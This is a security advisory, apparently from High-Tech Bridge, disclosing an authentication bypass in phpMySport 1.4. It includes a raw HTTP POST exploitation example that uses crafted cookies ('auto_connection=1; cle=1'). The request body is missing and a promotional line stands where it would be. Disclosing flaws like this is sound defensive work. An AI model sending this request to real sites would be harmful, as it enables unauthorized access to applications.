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Authentication Bypass Vulnerability in phpMySport

Advisory ID:HTB22773
Vulnerable Versions:1.4 and probably prior
Tested Version:1.4
Advisory Publication:December 21, 2010 [without technical details]
Vendor Notification:December 21, 2010
Public Disclosure:January 4, 2011
Vulnerability Type:Improper Authentication [CWE-287]
Risk Level:High
CVSSv2 Base Score:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in phpMySport which could be exploited to bypass authentication mechanisms and gain access to the application.

1) Authentication bypass vulnerability in phpMySport
The vulnerability exists due to insufficient validation of input data in authentication mechanism. A remote attacker can send a specially crafted HTTP POST request to the index.php script, bypass authentication checks and gain unauthorized access to the application.
Exploitation example:
POST /index.php?r=member&v1=login HTTP/1.1
Cookie: auto_connection=1; cle=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

ImmuniWeb® On-Demand Web Application Penetration Test

Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB22773 - - Authentication Bypass Vulnerability in phpMySport
[2] phpMySport - – phpMySport is a content management system for sports fans.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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